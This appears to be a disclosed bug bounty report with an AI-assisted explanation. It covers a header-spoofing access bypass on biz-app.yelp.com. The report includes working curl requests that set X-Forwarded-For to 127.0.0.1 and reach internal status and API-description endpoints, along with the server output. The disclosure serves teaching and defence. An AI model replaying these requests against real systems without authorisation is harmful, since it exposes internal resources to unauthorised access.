X-Forward-For Header allows to bypass access restrictions
The web application trusted the X-Forwarded-For header to decide whether a request came from an internal address. By sending a loopback address in that header, an attacker could reach internal-only endpoints such as a status page and an API description document.
- Paid in 2 days
- Disclosed after 7 days
Summary:
If the "X-Forward-For: 127.0.0.1" header is used, it allows to bypass restrictions of the web application and access endpoints that are restricted otherwise. This allows for example to access the "Business Owner App backend API". The responding server thinks, he is accessed by an internal IP.
Platform(s) Affected:
Website: https://biz-app.yelp.com
Steps To Reproduce:
POC1:
➜ /tmp curl -k https://biz-app.yelp.com/status
{"error": {"id": "PredicateMismatch"}}%
➜ /tmp curl -k https://biz-app.yelp.com/status -H "X-Forwarded-For: 127.0.0.1"
{"host": "biz--app-main--useast1-74dd77b89b-fgtdk", "health": {}, "mem_vsz": 1111.61328125, "mem_rss": 410.0, "pid": 91941, "uptime": 178784.86051034927, "version": null}
POC2:
➜ /tmp curl -k https://biz-app.yelp.com/swagger.json
{"error": {"id": "HTTPNotFound"}}%
➜ /tmp curl -k https://biz-app.yelp.com/swagger.json -H "X-Forwarded-For: 127.0.0.1"
█████
█████
███████
█████████
████
███
████
██████
█████████
██████████ [...]
The responding server thinks, it is accessed by an internal IP as can be seen in the headers:
HTTP/1.1 200 OK
Connection: close
server: openresty/1.13.6.2
content-type: application/json
x-b3-sampled: 0
x-is-internal-ip-address: true
x-zipkin-id: 2fce61c10ade1e32
x-routing-service: routing-main--useast1-d84b86b87-cwstn; site=biz_app
x-mode: ro
x-proxied: 10-65-64-83-useast1aprod
x-extlb: 10-65-64-83-useast1aprod
Accept-Ranges: bytes
Date: Mon, 19 Oct 2020 12:21:19 GMT
Via: 1.1 varnish
X-Served-By: cache-hhn4033-HHN
X-Cache: MISS
X-Cache-Hits: 0
Content-Length: 573093
Impact
As the attacker is seen as having an internal IP he is able to access resources which should otherwise be restricted for him.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application made access decisions based on a client-supplied X-Forwarded-For header instead of the real connection source or a trusted proxy list.
Impact
An attacker could read internal-only resources such as a health status page and an API description document, which may expose further attack surface.
What the attacker needed
Ability to send custom HTTP headers; no authentication needed
How it was found
- Request a restricted endpoint without the header and observe an error.
- Repeat the same request with a loopback address in the X-Forwarded-For header.
- Observe that the server now returns internal content and marks the request as internal.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Servers often sit behind proxies, and the X-Forwarded-For header is meant to tell the server the original visitor's address. Here the server believed whatever address the client put in that header, so anyone could claim to be localhost and be treated as an insider. That let the person see pages meant only for internal systems.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.